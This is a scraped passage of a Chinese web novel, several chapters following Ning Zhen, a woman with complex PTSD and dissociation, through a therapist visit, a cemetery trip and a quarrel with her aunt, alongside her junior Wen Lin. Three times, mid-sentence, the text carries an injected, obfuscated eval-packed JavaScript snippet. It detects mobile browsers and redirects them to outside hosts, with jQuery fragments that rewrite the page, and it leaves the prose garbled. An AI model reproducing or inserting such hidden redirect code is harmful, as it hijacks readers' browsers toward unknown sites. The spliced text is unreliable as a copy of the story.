推开门就是客厅,师姐跌坐在地上,手撑着地板,双眼虚焦。 “你是……谁?” 她费劲力气抬起视线,嘴唇缓缓翕动。空气里弥漫着凄清的茫然,温霖跪下伸出手,仿佛潜入一段漫长的水路。 他抱住师姐,想带她离开冰冷的地面。 好紧。 宁蓁不知道发生了什么。 她看见了一只血迹斑斑的猫,看见血一点点漫过来,看见自己趴在地上清洗地板。酒精和滴露的气味淹没了房间,她溺水了,仓皇地扑进一片混浊,接着一道影子闯进来捞她上岸,手臂环住她的背她的腰,隔着衣物传来剧烈的心跳。 突然,她忘掉好多事,包括他是谁。 “猫死了。” 温热呼吸扑在耳边,片刻诧异的停顿。 她又说:“我看到猫死了。” “什么时候?” “刚才。” 影子沉默了,收紧双臂。 为什么,难道你没看见吗?猫就在那里,在轮胎下面…… 她耷拉着眼睛,落在脚边漂浮的白纸上。 信,颇为正式地叠了三折,圆珠笔像颤抖的针线,几乎刺穿纸面。 「姑娘: 中年时得你母亲帮助,转眼已数十年。我走后,请取杜鹃,予你的谢礼。」 落款仅一个“孟”字。 杜鹃花……是留给我的? 宁蓁折好信纸,朦朦胧胧眨着眼。她明白为什么他不讲话了。楼下没有猫,没有张开獠牙的车——刚才他们撞见别人打理花坛,铁锹插进土壤伤了一株根茎,她以为那人蓄意破坏,冲上去替孟老太太阻拦。 “您是……姓宁的姑娘吧。” 男人五十岁上下,浓重的本地口音。他缓慢转过头认出她,递来一张信纸。 “我妈前阵子走了,她留给您的。” 那句话像堵塞的河堤,宁蓁觉得不太真实。明明上次见她还在不久之前,她的眼睛那么晶莹…… 但温霖低声解释,可能是药物的副作用。 “我爷爷就这样,吃化疗药,眼睛变得很亮,畏光,容易流泪。” “是吗。” 话语间溢出平静的悲伤。 她飘上了楼,关门。记忆全都乱了,昨天和今天混在一起。珠颈斑鸠,橘猫,城市里常见的野鸟,城市里常见的流浪猫,还有城市里常见的死亡。 孟老太太走了。 屋内寂然,他捉住一缕微弱的抽泣。 “为什么,”她迷茫地拽住他的衣服,任由眼泪倾泻而出,“这个世界和我的连接越来越少……” 肩膀被打湿,掀动抽痛的心脏。温霖深深低下头,反手扣住师姐,快要把她揉进身体。他们跪在地上相拥。窗外飘起雨,她像浸在雨里一样潮湿寒冷。 * 后来,症状飞速消失。 宁蓁早就习惯了,她称之为间歇性短暂失忆。有一天打电话给李肃,却忘记那是姨妈,直愣愣地问“哪位”。以前她也经常忘掉莫昭,校门口,舍友在周围起哄的时候,她只看见一束玫瑰花,后面躲着个身材宽厚的陌生男人。 偶尔在更多场景发作,比如熟悉的街道、书桌前和家门口的树下。陌生化的时刻不计其数,但往往很快就会恢复,她一直不以为意。 直到那天,师弟说要给她“介绍一个朋友”。 他们约在上午,晴空万里,阳光明媚。下了车,他默默与她交换了位置,走到人行道外侧。 “师姐,你不会怪我吧。” 温霖抬手挡光,另一只手遮到她头顶。 “嗯?” 宁蓁微微疑惑,看到他舒张的手掌为自己留下一段空隙。 眉目清晰的脸上化开笑容,透着一点拘谨。“因为忽然要介绍给你认识。” 她喜欢独处,但是没关系。刚要回应,注意力倏忽被微信夺走。 「Hi,好久没汇报消息」 「关于方善善的情况」 「最近终于改邪归正了,本质上还是好孩子」 王深老师发来近况,她顺手回了一句“真好”。 「是,我的POLO衫和紧身裤没白穿啊」 文字清晰,宁蓁忍不住笑。 “是谁发的?” 悬空的手撩起阴影向下压了几厘米。温霖贴近了,作势要过来窥屏。 “……” 她不急着收手机,反而开始发呆。善善是好孩子,他也是,他会为年少的行径道歉,会划分界限,保持距离。她相信师弟做不出逾越的事,如果没获得允许,就算屏幕举到面前他也会下意识闭上眼。 阳光照得街景上升几个明度。他们走进树荫,前方,小区栅栏里花枝丛生,叶子油绿发亮。 再抬头,师弟的神色变了。 “就,那么难回答……?” 他皱着眉,丝毫不掩饰眼中的紧张。 宁蓁还在发呆,没说话。半晌,他匆忙补充:“只是随口问问,没有冒犯的意思,毕竟师姐的朋友我也不熟……” 话里暗暗圈定了范围——是“朋友”,至少停在这里,别再深入了。但她错过了那层意思。 “刚才在想,表弟的堂哥,我应该叫他什么。” 绒绒的阳光在睫毛上跳舞。 他点头,低声重复:“表弟的堂哥啊。” “十几岁的时候见过面,好久以前了。” “表弟的堂哥,”如释重负的笑意悄悄在唇边化开,“直呼姓名就好吧?” “是啊。” 他们说着话,走进高楼林立的小区。温霖无意间提起,房子是为了这次会面租的。云翳适时飘来,宁蓁看着脚下石砖的花纹,迟疑了一瞬。 三楼,门口,他轻车熟路按下密码锁的数字。 “师姐,真的不会生我的气吗。” 楼道朝北,稍显阴冷。随着指尖的跃动,密码锁嘀了一声,散出蓝光。 不会。她内心说,可是你今天好奇怪。 温霖不再站在原地等她开口。他率先迈进玄关,转身招呼她一起去见客厅的那位女士。 装潢简洁干净,透明的茶几上摆着两杯热茶。女士坐在沙发上,约莫四十岁的年纪,短发,一身白大褂让人想起医院里的消毒水。 那一刻,宁蓁明白了原因。 * 师弟是有点心机的好孩子。 仔细想想,之前轻松的交谈多少有些哄着她来的意味。咨询开始时,他从客厅退到了卧室。宁蓁看着他,脑内天马行空:不肯见心理医生和隐瞒发消息的对象,哪一个更让你伤心呢。 “好,现在,我们互相做个自我介绍吧。” 医生柔和的嗓音让她回到当下。像从高处摔落似的,宁蓁忽然又弄丢了记忆,思索十秒才想起自己的名字。 “……宁静的宁,其叶蓁蓁的蓁。” “真好听。”医生笑着。 她们聊天,想聊什么都可以。偌大的客厅没有一点噪音,静静等她敞开心扉。她的日子是琐碎的碎片,是成了渣的毛玻璃,一碰就要渗血。她讲了一些事,喝了茶,做了厚厚的量表。 纸上写道:“你是否经常感觉无法集中注意力。” 以前宁蓁不敢承认。 她的确容易走神,思绪一不小心就流到遥远的地方。可她是创意写作系毕业的人,缺乏专注等于折断她手里的笔。 如今,她发现那并非习惯问题,而是自己病了。 诊断结果,医生说可能是复杂性创伤后应激障碍,表现在她身上主要为解离、强迫性洁癖和情绪闪回, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15071774|163236||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 并伴随ADHD的部分症状。【注1】 “创伤。”宁蓁喃喃道。 身体的伤痕肉眼可见,精神的则不然。创伤像细密尖锐的纤维,游离着埋入皮下,不知道哪一秒就会发作,扯出千丝万缕的痛。 她认真听着,捏紧口袋里的鸟哨。 原来是因为当初那件事啊。 一切噩梦的根源,银喉长尾山雀的死亡。 “但,如果仅仅归咎于一个孤立事件,还不足以解释创伤后应激障碍的复杂性……” 茶几上,手机倒扣着,灰黑色背景蓦然浮起,碾出一串刺眼的白色号码。 * 清明节已经过了。 天气预报显示,近一周,城市上空被雨云笼罩。高温未至,雨水提前,连绵淅沥的北城春季,历史上都罕见。 天空阴郁,他们都穿了黑色。宁蓁坐在后座望向窗外,云洇开了,染成远山黛,一缕缕的将散未散。 “好想学开车。”她说。 她记得慕容殊出逃那天,一辆奶白的轿车,就那么轻飘飘瞒过所有人,追也追不上。 “医生不建议么?” 驾驶座上递来师弟的声音。最近他们经常在一起,尤其目的地是这种僻静又偏远的地方,开车比较方便。 “说我没办法集中精神,驾驶有事故风险。” 温霖的视线迅速掠过后视镜。她神情漠然,看不出是否为此惋惜。 “会慢慢恢复的。” 驶入停车场,寥寥几辆车而已。清明节后的工作日鲜少有人再来,至于她,谈不上要扫墓,只是久违地探望自己的家人。 “嘎啊——” “嘎啊——” 墓园周遭布满阴沉的绿意,天上飞着黑漆漆的鸟,叫声响亮。 宁蓁左绕右绕,找到他们安眠的位置。 “这是我的姥姥,姥爷,还有……” 她没说下去。 三块墓碑挨着,分别立在花岗岩上,形状清楚得看一眼就打下烙印。灰质的表面深深刻出姓名、称谓、年份,以及触目惊心的数字。 享年25岁。 她已经比她的母亲年长。 他想到雨天的露营夜,房车里满是微醺气息,她复述着自己的身世,面色平淡得像个旁观者。 ——“母亲见证女儿离去,好像是我家里的劫。” 目之所及忽而模糊,温霖悄悄抬手捏住师姐的袖口。 “妈妈!” 草木静穆,偏偏不合时宜传来儿童的嗓音,清脆的,涟漪似的层层回荡。 是个男孩,把墓碑当作迷宫,自顾自和家长玩着捉迷藏。 宁蓁默不作声。 “妈妈!你听,有乌鸦在叫!” 他想让那男孩闭嘴,但师姐回过神,垂眸看了看他拽住自己袖子的手。 她似乎怔怔的,没有挣脱。 “那不是乌鸦。” 始料未及的话,他反倒愣了一秒。 “是灰喜鹊。” 灰喜鹊也是鸦科,叫声有时充满嘶哑的元音,而且不乏模仿能力。 宁蓁继续轻声讲着:“听说羽毛是阳光的味道。” 呼喊妈妈的男孩终于跑远了,空气静默,只剩下灰喜鹊的鸣叫。 “它们应该很感谢能被分清。” 温霖释怀地笑了。 他最近做了挺多不好的事,擅自约了心理医生,冒然牵她的衣袖。他很庆幸师姐没有计较这些,庆幸她好好地一个人生活到今天。创伤会恢复的,一切都会过去。也许最该充满感激的是他吧,所以眼前的景色还是渐渐模糊着。 “因为我学过怎么区分鸟的叫声。”宁蓁凝望着姥爷的墓碑,仿佛它离得很远。 鸟哨是因,钝重地结出背后的果。 是时候撷下来了,可能因为医生说倾诉是救赎的一种方式,也可能单纯想告诉他。 “你知道吗,”她平静地看向阴晦的山峦,“当年,他死得非常突然……” 48. 解答之书 ——“你出去了……?” 漆黑洞穴深处,岩壁滴下湿润的声音。 她认出师弟。不是写信的师弟,而是散成流影,抱歉没能带她走的师弟。 ——“师姐,你走出去了吗?” …… 清晨,左手抓着手机,解锁后是聊天界面,停在温霖发来的晚安。 她刚醒,睡眼惺忪,想着洞穴里的回音。像点开微信的语音条那样清晰真实,一时分不清梦见的到底是谁。 过一会儿,宁蓁起身拉开窗帘。 唰。 窗外,枝上挂着一只尖嘴鸟。 近大远小,看起来有鸠鸽科的身形,头上顶了一丛凌乱的冠,也像刚睡醒似的。 是戴胜。 有人叫它“香香鸡”,因其散发的奇特味道。宁蓁扫一眼细密的纱窗,反正关着,反正它栖息的树木离房子还有段距离。【注1】 “早上好,”她对着戴胜自言自语,“你的叫声……是什么来着?” 不记得了。鸟哨只能模仿雀形目,除此之外的算不上太熟。 它静止不动,黑白翅膀展了一半,圆圆的小眼睛盯着玻璃窗。 鸟发呆,她也发呆,和它面面相觑。 鸣声想不起来,科属也不知道。见过心理医生之后生活的确变了,柜子不必擦得一尘不染,身体无需时刻保持紧绷,问题可以悬置,不用非得找到答案。 究竟能见哪个师弟,她分不清,也没有必要分清。 戴胜飞走了,宁蓁起床整理,洗漱。她制定了晨间的流程:查看邮箱,收到昨夜的退稿信,修改,找下一家投出去,着手撰写新稿。如果思绪奔走难以安定,就坐在椅子上闭目冥想。 但总有声音叮叮咚咚让她分心。 「大海啊~大海,就像妈妈一样~」 安唯的新消息,一句歌词一张照片,以朦胧的海平面为背景,她和慕容殊两个人坐在沙滩上笑得灿烂。 紧接着转来八卦新闻: 「豪门倾塌?前地产老总因涉嫌谋杀妻子被逮捕」 小唯的天聊得毫无章法,宁蓁追着回了上一句,又收到一连串滔滔不绝。 「嫁入豪门真的不容易,命都能搭上」 「殊姐说他们一个比一个重视风水卦象紫微斗数」 「结果最后算命算到去杀人」 「可怕」 点开新闻,陌生的字眼从眼前滑过。 「那殊姐还安全吗?」 「这个倒可以放心啦」 对方顺手发了一段十秒的视频,白色浪花打着卷,一阵阵漫上沙滩。 「对了蓁蓁,你有没有讨厌的人?」 小唯似乎在旁敲侧击,可她滞住了,没往那方面想。 「我不喜欢哥布林,就是地精」 宁蓁给了个十分中二的回答。 「啥?」 安唯摸不着头脑。 「因为所有牙齿都特别尖,咬合不好」 咸咸的海风拂到书桌前。她们天南海北聊了一个小时,屏幕熄灭后,她撸起袖子搬开旧桌,埋头翻找着杂物底下的竹料和刀。 想做两只新鸟哨。 因为小唯自称天使朋友,先前问到温霖“我们是不是朋友”,他也回答当然。 说是“朋友费”也好,作为朋友仪式的最后一步也好。嘭——她砍断竹料,撕下一张砂纸,重新坐回桌前。 脚边散落着各式各样的刀。好久没制作过新哨了,宁蓁以为自己早已生疏,提前缠了几个创可贴在手指。 小心,最好不要见血。 先屏住呼吸,试着钳起三角刀。 手腕僵硬地锁住了,缺乏润滑。她紧张了一分钟,也仅仅一分钟,双手就找回舒适的位置,用力下压,自然而然活动起来。 毕竟是她儿时做得最为熟练的事。 锋利的刀刃破开竹身,忽然,宁蓁想起了姥爷。 那个高瘦的、背有点佝偻着的人,曾经用尺子和衣架抽打她的后背,也曾经手把手教她制作鸟哨,教她大拇指要用上巧劲儿,刀口就不会滑脱。 ——“为什么您不教小宇?” 小学时,刻刀划烂了线手套,她抹着眼泪嘟囔。 小宇和她差了六岁,明知故问。 ——“因为你是你妈的女儿。” 姥爷的表情很生硬,似乎皱成一团。当时,十岁的小女孩还不懂得是什么意思。 她永远爱姥姥,这时候却想起她讨厌的伴侣,想起那些充满严厉的威吓,想起他一面风风火火,一面死气沉沉的模样。他古怪,几乎不笑,偶尔笑起来也很难看,像块沧桑的白桦树皮,没有宽容,没有慈爱。 全部,只是因为我是妈妈的女儿。 以前宁蓁心里常常悔恨,可后来记忆逐渐衰败,连恨意都变得很淡。人死了,黄土一抔随风散,最后只剩她这双手。 第一步完成了。 竹料被捧在掌心,映着阳光刻成鸟哨的雏形。 亲人留下的,她的双手还记得。 手机在响,已经是第二通电话,宁蓁匆忙接起。 “可以下来了——” * 沐沐.:「姐姐,我的主人想问明天还能见你吗?」 两个微信号是方便,人类的邀约太频繁,可以换成小狗来。沐沐的口吻总带着撒娇意味,柔柔地抚过心脏,难以拒绝。 所以他们又要见面,简简单单搭个顺风车去李肃家。 温霖在单元门外等她,唤醒树下深灰的车。 “不是同一辆。”宁蓁打量着车的形状。她对车标不熟悉,但看得出SUV和轿车的区别。 他拉开车门回身笑了笑:“那辆送去维修,借我哥的开几天。” 一笔带过的事,没理由怀疑。 车里干净,闻不见让人头昏脑涨的皮革气味。中途路过商区,一个醒目的黄色M标映入眼帘。 宁蓁心血来潮:“一起吃午饭吧。” “好啊,想吃什么我来请。” 车子熟练变道,拐进停车场。附近一家综合商场,门口有人热热闹闹发放传单。 “新店开业!干锅牛蛙铜锅牛蛙,豪华双拼今日特价五折!” 来不及摆手,鲜红的优惠券飞速塞到怀里。 聒噪和喧嚣冲击着耳膜。温霖眉梢有点发紧,试探着问:“牛蛙,师姐喜欢么。” 宁蓁愣愣摇头。 感觉好怪,她从来没尝过牛蛙,或许出于偏见,提起这两个字胃里就滚起一阵滑腻的恶心。 “太好了。”他松了口气。 你也不爱吃吗? 话黏在嘴里,说不出来,唯一庆幸的是商场里的顾客寥寥无几。门内展开一条长街,光洁的地板,门店宽敞明亮,玻璃上映出人们的倒影。 宁蓁径直往前走,路过黄金珠宝和闪亮的钻石戒指。 “去哪里?”他问。 “应该就在附近,”她环顾四周,“找到了。” 黑底黄招牌,熟悉的木质地板。 当年明明两个人一起流浪,她却一味疏远那名少年,吃麦当劳都要用书包隔开一个座位。 ——“请客的意思是,我真的不会还钱喔。” 师姐复述了当年的字句。 回想起来,多年以前她那句话像在逗弄野生的小动物。温霖笑了,拿出手机低下头掩饰错乱的心跳。 “现在都不用去柜台点餐。”他滑开小程序。 与此同时,臂弯搭上一股重量,仿佛叠好的羽绒被子摞在平整的床铺上。 师姐左手揽过两人之间的空隙,轻挽他的手臂。 她瞥见屏幕:“麦辣鸡腿堡今天九块九诶。” 好近,近到看得清脸侧的小痣, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15071775|163236||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 长发坠向他胸口,围成圆圈拴着心脏,突如其来的躁动。 他的耳朵开始泛红。 指尖在屏幕上方迟迟未落,宁蓁怔了怔,悄悄松手。 也许她只想拽住他的袖子,也许手臂太松快了,不小心顺着惯性挽了上来。 温霖从心理医生那里了解她的病情。CPTSD伴随成人ADHD的症状,总是心不在焉,一盆摇晃的清水似的,时不时洒向外面。 他想接住,但并非每次都能如愿。 “以前大学室友经常这样。”师姐错后两步,神色如常,“挽着我,贴得很近,看我手机上的聊天记录。” 那岂不是…… 他第一反应是霸凌,却不敢问出口。心脏的悸动还没消退,又扯开一阵尖酸的痛楚。 而她,三秒钟后飞快地后悔。 和雕刻鸟哨一样,有时候身体抢在意识前面。她先伸手挽了师弟,做出一个尴尬的举动,然后用一件更尴尬的事去掩盖。 要告诉他什么呢?大学室友异样的眼神,被泼水的经历,还是曾经幻想宿舍南北向的两面墙每天靠近一厘米,早晚要挤得她血肉模糊? “人变多了,回车里吃午饭吧。” 宁蓁垂下眼,心里默念着不要问。 没准他听见了。 “还是点麦香鱼套餐?” 略过大学往事,再倒退就回到身穿蓝色校服的年纪。 炸薯条洒上一层盐粒,飘散着温热的香气,像个安定信号。 “嗯……要不要升级成大薯呢。”她嘟囔着。 “好啊,顺便再来个抹茶阿芙佳朵。” 手指在屏幕上游走,比少年时更加修长。点完餐,他说要等十分钟,可以先去楼上书店逛逛。 如今商场的书店并着咖啡馆和文创,进门一列主题日历,后面跟着各类畅销款。宁蓁摸到一本翻得折旧的解答之书,随手一翻。 “别忽视显而易见的。” 空旷的页面,只中间写了一行字。 她猝不及防得到答案,才发现自己还没决定要问什么。 从结果倒推吗?我身边显而易见的是…… 厚重的封面裸露在外,温霖瞥见了,立刻眼睛明亮地探过来。 “有这个!我也想玩。” 宁蓁“啪”的一下合上书,移开目光。 “给你,”她假意看着身前一排畅销的花花绿绿,“要先说出问题才有效。” 假的,但师弟毫不犹豫地相信了。 “我的心愿能实现吗?”他小声问,左手盖住硬质书面,颇为虔诚。 翻开时,宁蓁朝他身旁挪了挪。 纸页哗啦啦飞动。 答案是,“下一个季节”。 夏天,似乎并不遥远。掐指一算,去年的今日早已入夏。 他却对着书露出一副怅然若失的表情。 “夏天……?可是你没告诉我是哪一年的下个季节啊。” 需要这么详细? 看起来他相当认真,非要得到明确的答案才行。难道是缺少安全感,还是因为J型人格…… 她视线悄然转移,在层层叠叠的深棕色书架中撞上对方的余光。 睫毛簌簌颤动。 温霖也默默看着她。 轻软透明的空气里,目光小心翼翼地缠绕在一起。 “人,”宁蓁问,“恐慌症不会发作么?” 她率先开口,但不是为了掩盖自己鼓噪的心跳。 ……也许百分之八十不是。 顾客真的变多了,一群看似初中的孩子结伴而来,叽叽喳喳讨论着大热的漫画和番剧。 宁蓁都觉得吵,他却没有回头,甚至没有被他们分走一丝心神。 “如果再发作……” 她看见温霖眼中滉漾着暧昧的影。 “师姐会抛下我吗。” 49. 妈妈 他问得直白。 她想起那夜奢靡的宴会,想起自己失魂落魄披着礼服求救的时候。 ——“我们……是朋友吗?” 而这次,温霖身上的青草香气痒痒地掠过鼻尖,她竟一时感到惶然。 “不会啊。” 我不会抛下你。 “因为我们是朋友。”她说。 因为是朋友才想要见面,因为是朋友,所以看见彼此的脆弱,伸手撑住对方的肩膀。 两人各自缄默半晌。 温霖放下解答之书,厚重的封面从指缝滑落,压实。 一道轻声,空气别扭地撩动纸张。 “……傻瓜师姐。” 他留了个侧脸,垂眸低喃。 孩子们的喧闹涌入双耳,她错过那句话,只看见他背后暖黄的灯光恹恹地暗了。 宁蓁上半身探过去,表示疑惑。 但仅仅一瞬,师弟的神色就由阴转晴。 “没什么。”长睫毛衬得他眼里的笑意清澈见底,“对啊,好朋友,以前也是。” “以前”指的是信件来往的日子。 她“嗯”一声点头。 出了书店她还想着这回事。珍贵的稀少的朋友,两个字磨得牙齿酸软,和他的名字一样难说出口。 长街的门店玻璃明净透彻。宁蓁转头,看师弟映在上面。她喜欢他走路的模样,像滚动的风,喜欢他把人圈进怀里时微微前倾的弧度。 喜欢……吗? 看着看着,两人的倒影无意间交叠。 噌—— 刹那间,脑中闪回尖厉的啸叫。 怎么回事? 耳朵里剧烈地撕裂,她不明白为什么偏偏在这一刻响起警报。 切割的声音,撕裂的声音,刺痛的声音。 第二次了,交错的身形浮向平整光滑的物体,恍惚之中,她眼睁睁目睹一个女孩躺入水深处。 是她么? 还是别人? 要怎么做,才能看清? “师姐!” 一眨眼场景又变。面前晃来一只棕色纸袋,捏出了折痕,散发着薯条的香气。顺着手腕向上,卫衣袖口缝着活泼的小狗图案。 温霖提起麦当劳晃了晃:“拿到啦。” “好香。”宁蓁回过神。 用第三人称看待自我的症状叫做解离障碍,一种慢性创伤后遗症。心理医生判断她时常发作,需要主动寻找现实的锚点。 没关系,她盯着他的袖子想,我找到了。 他们走出商场。车内私密而安静,与九年前的喧闹截然不同。 “话说,高中的时候师姐和姨妈一起生活么?” 纸袋清脆地响,温霖从驾驶座递来麦香鱼,顺口问。 “嗯……”她接过盒子,“算吧,我转学的事情是她办的。” 当年宁蓁一靠近高中就头晕反胃,最后连门都出不了,只能坐在床上浑浑噩噩掉眼泪。姨妈守着房门吼,拖她去看医生,做胃镜,最后充当监护人办下转学手续。 她逃离了噩梦,但李肃没有问过她到底发生了什么。 “转学啊……” 两人一前一后坐着,似乎比九年前离得更远。眼看气氛又要冷下去,他刚想说点别的绕开这个话题。 “我和姨妈就像粗鲁的人捡了应激的猫。” 温霖看向后视镜,师姐捧着蓝白色纸盒,一时没掀开。 “那,谁是人?”他问。 “都是人,”宁蓁面无表情,“也都是猫。” 没多久车子重新启动。她熟识路线,闭着眼睛也能画出两侧的街景。如今树木颜色深了,油润的,却远远泼来一阵生疏。她忽然发觉她们已经大半个月没见了。 楼上的窗户千篇一律。她问:“你可以在门口等我吗?” 温霖自然说好。他原本可以在车里等,但一个小时后他开始庆幸这个决定。 电梯呜咽地往上滚。宁蓁掏出钥匙,转得很轻。客厅里没有人,她踮起脚尖蹭着米色的瓷砖,害怕发出任何动静。 目标是杂物间。快到阳台时,空气飘来一股烟味儿。 躲藏失败,她忍不住想咳,闷红了眼睛。 “哦,你啊。”李肃手里夹着烟,转身。 宁蓁在原地站着,等姨妈吐一口烟雾,隔开两人的视线。她有个毛病,几天不和李肃讲话就变得束手无策,好像她们的亲缘每天都被流水冲淡。 李肃看她不说话,问:“干啥来了?” 她又走神,心想上次站在走廊里是春天,在这儿听见方善善与同学嘲弄般的闲谈。 而现在还是春天。 “找姥爷留下的刀。”她被呛得咳了出来。 “我还以为你不喜欢做鸟哨呢。” 姨妈笑了,牙齿之间析出白雾,雾气向上飘,扯起嘴角。 她分明是风风火火的人,嬉笑怒骂都要高调。今天反常,宁蓁心中惴惴的,莫名退让一步。 “原来你知道我不喜欢。” 她怪李肃当初擅自安排了非遗节目的事。从小到大都这样,被编排,被推着走。但这次她说出来了。以前人和猫总是各自生闷气,因为她们无法沟通,现在她开始相信只要说出来就会好一些的。 “你不喜欢的多了,”姨妈怨道,“世上哪有那么多称心如意。” 宁蓁屏住呼吸,走向杂物间。 “对了,你和你男朋友最近怎么样?” “谁?” 她回头,有些错愕。 “就那个莫总。” 女人继续抽着烟,她隔了一米远,嗅到她鼻息里的焦油。 宁蓁后知后觉,发现姨妈的脸淹在白烟后面,那么生硬违和。 “……” 她眼看着这次和解走上老路。 “你也快二十七了,早点安定下来,我好省心。”李肃不允许房间有一刻安宁,“以前的邻居宋阿姨,人家女儿,刚刚发来喜帖……” 姨妈知道她不喜欢鸟哨,但也仅此而已。宁蓁没在听了,脑内编织起荒诞的故事。 ——“我想养只小狗!” ——“妈妈以前也养过看家的小狗,喂它骨头,和朋友在院子里聊天,走到哪它跟到哪儿。” ——“哇!然后呢然后呢?” ——“然后啊,院子被强拆啦,估计狗也被人带走炖狗肉咯。” 走廊里,李肃洋洋洒洒摆出宋阿姨的近况,最后一句鬼打墙似的回到原点:“你要几时才成家啊。” 她突然惊醒。 “那么急着把我甩出去,我是你的累赘吗?” 宁蓁没有用“姨妈”这个称呼。 很多时候她都刻意忽略这两个字。李肃是妈妈的姐妹,她们一定有相似的地方。童年时期,她天真地想,为什么姨妈不可以也是妈妈。 阳台有风,呼啸着闪烁。宁蓁看不见自己的表情,可能眉毛紧紧锁着,险些哭出来。 “你……胡说什么!” 李肃脸色变了,慌张,又带着轻蔑,像在审视醉倒街边的酒鬼。 “我是姥姥,抛给你的累赘吗。” 宁蓁又问了一遍。 眼前净是翻飞的窗帘,静默的悲怆的白。她想起姥姥曾经住过这么洁白的病房。姥姥,妈妈,嘴唇上下相撞,碾出沉钝生疏的音节。孟老太太留下了遗言,她却不清楚那名老人和妈妈有过怎样的交情。都过去了,也都来不及了,她和世界的连接越来越浅薄,如今连夏天都不愿意再来了。 烟头渐渐燃烧,伴随着肺里挤出的呼吸。终于,李肃肯从正面瞄一眼这个外甥女。 “姥姥?”姨妈冷笑,“那就是你姥姥的托付。” “托付。”她机械地重复。 “她要你以后有个依靠。” 母亲的遗言犹在耳边,所以李肃一直把她往外推,推进别人怀里。依靠是依赖和靠山,李肃忙忙碌碌过了大半辈子,深知没有人能独自活在这世上。 但是她不愿意。 烟熄了,星星点点落到地板。宁蓁盯着那火光,胃里撕出呕吐似的挣扎—— “我的依靠不能是你吗!” 房间归于寂静,良久良久,最终掀起重重的摔门声。 * 师姐让在门外等,他就乖乖倚着窗数外面的叶子。公寓隔音效果很好,摸不到动静。手机里有消息,哥哥传来的,邀他过两天一起玩猫鼠游戏。 「圈一块地,打开共享位置,然后一群人追,一群人跑?」 对面回了个“对”。 他抬头看向密不透风的防盗门。 「算了吧」 「我已经玩好多年了」 只不过是单人版本,没有方向,没有时间限制,一个幽魂在雾茫茫的地界游荡,也许到他死为止。 幸好,现在游戏结束了。 他收起手机。结束了,结局却未知。数到第三百六十四片树叶,师姐推门而出,那一瞬,他脑袋里期望的HappyEnding才写了个H。 门轴喑哑地转动,像人在哭。她脸色苍白,匆匆瞥他一眼,丢下一句: “别过来!” 于是H后面缓缓接上urt。 宁蓁时常给人这种感觉,若隐若现的,不知道怎样才能真真切切握住。温霖下意识想拦,却败给犹豫,手掌滞在半空,让她流走。 “师姐!” “……” 她不再回应。 还要乖乖听话么? 他攥了一团空气,干燥的掌心转向门的缝隙。 想留住她。似乎只有这种方法能留住她。 “蓁蓁——” 温霖拉开门,迎面撞上一个女人,对方同样呆愣片刻,眼角垮了,堆着难以掩饰的疲态。 “不好意思,”李肃收声说,“你是……” “我是宁蓁师姐的朋友。”温霖回答。 兴许他眼睛里有什么,李肃费了好大的劲才作出反应。 “哦,这孩子真是……”她艰辛地歇了口气,“进来吧。” 屋里一片惨白,地砖折射出凄然的擦痕。师姐说她们都是人,也都是猫。他得知道原因。 “来一根儿?” 李肃递出香烟。想都没想,她习惯了。 “谢谢阿姨,我不抽烟。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15071776|163236||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“哦,”女人点点头,“那给你沏杯茶吧。” 她走了,弄出一阵叮叮当当,过一会儿端出一杯茶水。 滚烫的茉莉花茶,玻璃杯外挂着没擦干的水珠。 “喝吧,别客气。” 啪嗒。李肃拨开打火机给自己点了根烟:“你们……你多大了?” “我比师姐小三岁。” “大学同学?” “中学同学,”他说,“她上高中的时候我读初中。” “初高中同校,二中啊。”李肃眯起眼睛,弹了弹烟灰,“好学校,多大,环境多好,可她怎么就不乐意去了呢。” 温霖手背碰上杯子,太烫,烫到喉咙发肿。 “……其实我们小时候就认识。” “你和蓁蓁?” “对,那年我五岁。” 这件事他甚至没和师姐说过,因为不知道如何开口。暑假,他去了奶奶家的院子,遇见在树下跳舞的女孩。起先他离得很远,然后越走越近,越走越近,不知不觉到她跟前,呆呆地望着看着。 你多大啦?她问。 五岁。他回答。 哦,那你要喊我姐姐。她要求。 姐姐。他懵懵懂懂跟着念。 我叫宁蓁,宁静的宁,桃之夭夭、其叶蓁蓁的蓁。她说。 我叫…… 来不及交换姓名,大人们就让她回家了,隔着一栋楼,遥遥的呼唤被日暮拉得好长。 我得走了,明天再一起玩儿吧?明天这个时候,这棵树下,不见不散!她跑远。 小男孩笑了,但想起缺了一颗牙不好看,讪讪抿着嘴。 不见不散。 第二天,他却只等到那棵树,繁枝茂叶盛着孤零零的蝉鸣,闷得人喘不过气。 